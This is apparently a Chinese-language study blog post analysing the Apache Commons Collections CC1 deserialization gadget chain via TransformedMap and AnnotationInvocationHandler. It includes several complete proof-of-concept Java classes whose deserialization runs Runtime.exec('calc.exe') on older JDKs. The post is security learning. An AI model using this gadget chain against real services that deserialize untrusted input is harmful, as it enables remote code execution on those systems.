1.前言
URLDNS
还是不放了吧,不够丢人的,
推荐feng师傅的:https://ego00.blog.csdn.net/article/details/119701408
先是利用 TransformedMap这个。最终的触发点,就是 那一串Invokertransform
那里,就那一坨东西导致最终的危险。 然后手写demo是通过 map.put() 导致执行Transformed#tranform()
,从而触发的。
那么在序列化实战中,我们就要找一个类,在它的反序列化readObject()
中,能够触发执行Transformed#tranform()
,这里使用的是AnnotationInvocationHandler 的 readObject()
。它里面用了 map.enrty()
的·setValue()
, 这个也能够触发transform()
。可以看3.4.0
构造器的 default 知识
2. 前置知识
2.1 入门demo
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class test1 {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","xxx");
}
}
2.2 TransformedMap
The Map put methods and Map.Entry method are affected by this class
巨重要,拿出来,详情可见 3.4.0
看一下源码,,
/**
* Decorates another <code>Map</code> to transform objects that are added.
* <p>
* The Map put methods and Map.Entry method are affected by this class.
* Thus objects must be removed or searched for using their transformed form.
* For example, if the transformation converts Strings to Integers, you must
* use the Integer form to remove objects.
* <p>
* This class is Serializable from Commons Collections 3.1.
*
* @since Commons Collections 3.0
* @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
*
* @author Stephen Colebourne
*/
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
}
作用: 用于装饰一个Map对象,转换它添加的源码
看他的decorate方法
/**
* Factory method to create a transforming map.
* <p>
* If there are any elements already in the map being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
//-----------------------------------------------------------------------
/**
* Constructor that wraps (not copies).
* <p>
* If there are any elements already in the collection being decorated, they
* are NOT transformed.
*
* @param map the map to decorate, must not be null
* @param keyTransformer the transformer to use for key conversion, null means no conversion
* @param valueTransformer the transformer to use for value conversion, null means no conversion
* @throws IllegalArgumentException if map is null
*/
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
静态方法 decorate()
,里面调用了类的 protected
构造器。根据注释就可以理解,decorate()
方法的第一个参数就是要修饰的Map
对象,第二个和第三个参数都是实现了Transformer
接口的类的对象,分别用来转换Map
的键和值。为null
的话就意味着没有转换。传出的Map
是被修饰后的Map
。
2.2.1 触发 put 的位置
根据类注释: Map 类的 put 和 Enrty 的 getKey,getValue方法都能够触发 transform() 方法
The Map put methods and Map.Entry method are affected by this class
可以知道,使用 put
还有 setValue
方法的时候,对应的键或者值会作为 input
参数,调用相应的Transformer
的transform()
方法,该方法返回一个新的对象。(注意这个setValue
方法,下文有用)
这个是 P 神解释的。
这里看一个简单的例子:
package aa;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.hibernate.type.descriptor.java.UUIDTypeDescriptor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class test03 {
public static void main(String[] args) throws Exception {
test1();
}
private static void test1() {
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), new ValueTransformer());
outerMap.put("key","value");
printMap(outerMap);
}
private static void printMap(Map map) {
for(Object entry:map.entrySet()){
System.out.println(1);
}
}
}
class KeyTransformer implements Transformer {
@Override
public Object transform(Object o) {
System.out.println("调用了 transform :KeyTransformer");
return "key";
}
}
class ValueTransformer implements Transformer{
@Override
public Object transform(Object o) {
System.out.println("调用了 transform :ValueTransformer");
return "value";
}
}
分析一下:
先看构造函数了。 这里后面讲到的 两个属性,其实都是我们进行赋值了的,就是我们自己重写的两个类了
是这个 outerMap.put("key","value");
方法调用的,put 的时候,
直接进入put()
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
然后对 key
进行transformKey()
方法的调用,(value 同理,不分析了)看一下这个方法,
然后看一下这个 keyTransformer
变量 ,我们在刚开始的构造函数中已经赋值了
这里 keyTransformer
不是 null , 然后就调用了 Transformer
的 transform()
接口 了,
public interface Transformer {
public Object transform(Object input);
}
这里因为我们在 构造函数中已经赋值了。所以就直接走我们自己写的这个接口的实现类,从而调用了这个类的 transform() ,从而打印出来结果
class KeyTransformer implements Transformer {
@Override
public Object transform(Object o) {
System.out.println("调用了 transform :KeyTransformer");
return "key";
}
}
class ValueTransformer implements Transformer{
@Override
public Object transform(Object o) {
System.out.println("调用了 transform :ValueTransformer");
return "value";
}
}
小结:
当我们 decorate()
之后,put 的时候,就会对我们 decorate()
的第二个,第三个参数对象执行他们的 transform()
方法
2.3 ConstantTransformer
我的理解,就是看名字和注释嘛,常量的Transformer,就是transform() 的东西都是一个常量
/**
* Transformer implementation that returns the same constant each time.
* <p>
* No check is made that the object is immutable. In general, only immutable
* objects should use the constant factory. Mutable objects should
* use the prototype factory.
*
* @since Commons Collections 3.0
* @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
*
* @author Stephen Colebourne
*/
public class ConstantTransformer implements Transformer, Serializable {
翻译: 没有检查这个对象是不可变的,通常来说,唯一不可变的对象才应该使用常量工厂,可变的对象应该使用原型工厂(翻译了个shi)
具体的·ConstantTransformer
的 transform()
:对于 input, 总是返回一个 常量
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
看一个测试代码:
public class test03 {
public static void main(String[] args) throws Exception {
test2();
}
private static void test2() {
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), ConstantTransformer.getInstance("adam"));
outerMap.put("key","value");
}
}
这个也是可以的 new ContantTransformer ("adam")
一样的效果的,
小结:
下面可以看到常量 iConstant
就是传入的adam,然后ConstantTransformer
的transform()
方法就不返回参数了,返回自己的常量。
P神的解释是真言简意赅
2.4 InvokerTransformer
首先一看名字就感觉是和反射有关的,然后看源码
/**
* Transformer implementation that creates a new object instance by reflection.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
*
* @author Stephen Colebourne
*/
public class InvokerTransformer implements Transformer, Serializable {
翻译: 通过反射创建新对象实例的转换器实现
看一下 构造函数 和 反射执行函数
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
小结;
我们 实例化的时候 new 对象()
或者 类.newInstance()
的时候传入三个参数
第一个是方法名 String
第二个是该方法的所有传入参数的类型 , Class[]
第三个方法是要传入的参数的列表。 Object[]
public static void main(String[] args) throws Exception {
test2();
}
private static void test2() {
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), new InvokerTransformer(
"exec",new Class[] {String.class},new Object[]{"calc.exe"}));
outerMap.put("key",Runtime.getRuntime());
}
注意,这个的.put()
的第二个参数是要传入我们要使用的方法的。
2.5 ChainedTransformer
还是先看名字,链接起来的东西,看 类注释和构造函数和transformer()
/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*
* @since Commons Collections 3.0
* @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
*
* @author Stephen Colebourne
*/
public class ChainedTransformer implements Transformer, Serializable {
翻译:将指定转换器连接到一起的 一个转换器实现,输入的对象传递给第一个转换器,这个转换器的结果传递给第二个转换器,以此类推
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param transformers the transformers to chain, not copied, no nulls
*/
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
把一个 Transformer[]
当作参数传递进去,利用这个数组的transformer()
一次处理 input
,并且,注意:
The input object is passed to the first transformer. The transformed result is passed to the second transformer and so on.
小结:
是一种链式的传递,前一个Transformer
处理的得到的output
会当作input
给下一个Transformer
处理。
理清了这些,很容易想到一个把这些串起来的命令执行:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Map innerMap = new HashMap();
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
outerMap.put("adam","adam");
}
3. TransformedMap 分析
package aa;
import clojure.lang.Obj;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class test02 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.getRuntime()),
new ConstantTransformer(Class.forName("java.lang.Runtime")),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{ Object.class,Object[].class},
new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","xxx");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
}
}
我们上面的demo 是能够在本地运行的,, 但是还是不能够在实战中使用的
3.1 Runtime 问题
在序列化的时候会报无法序列化的错误。原因就在于Runtime
类并没有实现Serializable
接口,所以无法序列化:
这里P神采用了一种迂回的写法,因为Class
类是实现了Serializable
接口的,而且既然可以链式的调用方法,利用反射即可:
这里忘记了 InvokerTransformer # transform()
了,直接再贴一次
package aa;
import clojure.lang.Obj;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class test02 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(Runtime.getRuntime()),
new ConstantTransformer(Class.forName("java.lang.Runtime")),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{ Object.class,Object[].class},
new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
outerMap.put("test","xxx");
}
}
对反射参数进行详细解释
总是感觉 InvokerTransformer()
中的参数看不明白,最后一个exec
比较熟悉
这样看看 getMethod()
需要什么参数,然后我们就会传参了
在这里插入图片描述
其实Object#getMethod()
只需要一个参数,就是方法名字getRuntime
,然后第三个参数后面的只是为和第二个参数相匹配。
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[]{}
}
这个invoke()
变长变量 == 数组
invoke()
是无参的,但是第二个参数是我们要传入的所有参数的类型。然后第三个参数,是我们实际要传入的参数列表
new InvokerTransformer("invoke",
new Class[]{ Object.class,Object[].class},
new Object[]{null,new Object[]{}});
这个exec()
第一个参数是方法名,第二个参数是我们要传入的所有参数的类型。第三个参数 是实际传入的参数列表。
但是注意:我们传入的形式已经被InvokerTransformer
的构造函数给确定下来了,是不能变的
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
3.2 AnnotationInvocationHandler
前面我们说过的,这个漏洞要触发,需要我们向Map中加入一个新的元素,在上面的demo中,我们可以手工执行outerMap.put("test","xxx")
来触发漏洞,
了解完前置的知识后,就可以考虑真正的反序列化链了。在上面的命令执行中,最终我们是手动的执行了put()
方法来实现了漏洞的触发。在反序列化中,我们需要找到一个可以用的类的readObject()
方法,通过这个方法最终可以触发漏洞。
最终是MapEntry#setValue()
触发的,会触发TransformedMap
的transfrom()
。
这个类是sun.reflect.annotation.AnnotationInvocationHandle
:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
在readObject
方法中,关键的这几行代码:
Iterator var4 = this.memberValues.entrySet().iterator();
Entry var5 = (Entry)var4.next();
var5.setValue(
前面提到了,setValue
同样可以触发我们的“回调函数”,因此可以触发漏洞。至此链也就理清了,剩下的就是构造POC的细节问题了。
既然要反序列化AnnotationInvocationHandler
的对象,自然要构造出来。看一下它的构造器:
package sun.reflect.annotation;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
发现这个构造器没有public
,是default
的。而sun.reflect.annotation.AnnotationInvocationHandler
是在JDK
内部的类,不能直接实例化,不能直接用new
实例化,所以也需要用反射才行,把我们构造好的Map
对象作为第二个参数传进去:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object o = cons.newInstance(Retention, outerMap);
这里有一个疑问就是Class<? extends Annotation> var1
为什么要用Retention.class
,这一点后面再提。
那必然是 Retentent
是继承自 Annotation
。我才的啦,
看网上对这个的介绍是
Retention(保留)注解说明,这种类型的注解会被保留到那个阶段. 有三个值:
1.RetentionPolicy.SOURCE —— 这种类型的Annotations只在源代码级别保留,编译时就会被忽略
2.RetentionPolicy.CLASS —— 这种类型的Annotations编译时被保留,在class文件中存在,但JVM将会忽略
3.RetentionPolicy.RUNTIME —— 这种类型的Annotations将被JVM保留,所以他们能在运行时被JVM或其他使用反射机制的代码所读取和使用
看了P神笔记才知道还有一个需要注意的一点是var7
不能为null
,如何满足这个条件
sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须为Annotation的子类,并且其中必须有一个方法,假设为X
被TransformedMap修饰的Map当中必须有键名为X的元素
3.4 AnnotationInvocationHandler反序列化的过程跟踪
3.4.0 对于 Anno… 小结一下
是MapEntry#setValue()
触发的,会触发TransformedMap
的transfrom()
跟反序列化,直接来到 AnnotationInvocationHandler
的readObject()
这里
可见var2
就是我们传入的 Retention.class
这个东西,
然后这个 memberTypes()
方法就是返回自身的memberTypes
属性,也就是 HashMap
。
public Map<String, Class<?>> memberTypes() {
return this.memberTypes;
}
然后再往后走,我感觉是这个 var2
这里的members().get()
触发的吧,---------后面debug,证明我是错误的了。
不是他们说的 setValue
吧
var5
是一个 MapEntry
,不过这个好像也能够触发
来了,Debug进来了这个是 var2.members().get(var6)
这个的get() 了
然后进入 hash
,那这里就是不对的了。这个key
是 一个字符串。不是我们想要的 那个啥,,
3.4.1 到了 setValue()了
这个setValue()
是 MapEntry
的方法,
然后MapEntry
的parent
竟然是 TransformedMap
类,
然后进入TransformedMap#chechSetValue()
。。。
然后!!这里这个变量就奇奇妙妙的变成 ChainedTransformrer
了!!!这个 valueTransformer
不就是我们
就是我们开始时传入的 transformerChain
呀
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
然后自然就走 ChainedTransformer#transform()
啦。 然后就是那一趟了
然后这一趟,跟着debug走,直到反射走完,就弹出来计算器了
3.3 readObject中的细节
这里不懂注解,直接看feng师傅的了
https://ego00.blog.csdn.net/article/details/119701408
3.4 最后的注解那里不懂
最后就是这个样子了,就是最后面的注解那里没有弄明白
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class test01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
package ysoserial.test.adamtest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class test01 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
// InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Object o = (Object) construct.newInstance(Retention.class, outerMap);
byte[] bytes = serialize(o);
unserialize(bytes);
}
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
return baos.toByteArray();
}
}
4. 后记
最终的触发点,就是 那一串Invokertransform
那里,就那一坨东西导致最终的危险。
这个只能在 jdk8u71之前,后来的化,就变了
详情可以看P神的 第10 篇文章。
然后就是学习 LazyMap 了
5. 参考:
https://y4tacker.blog.csdn.net/article/details/117279811
https://ego00.blog.csdn.net/article/details/119701408
《Java安全漫谈》忘了第几篇了。。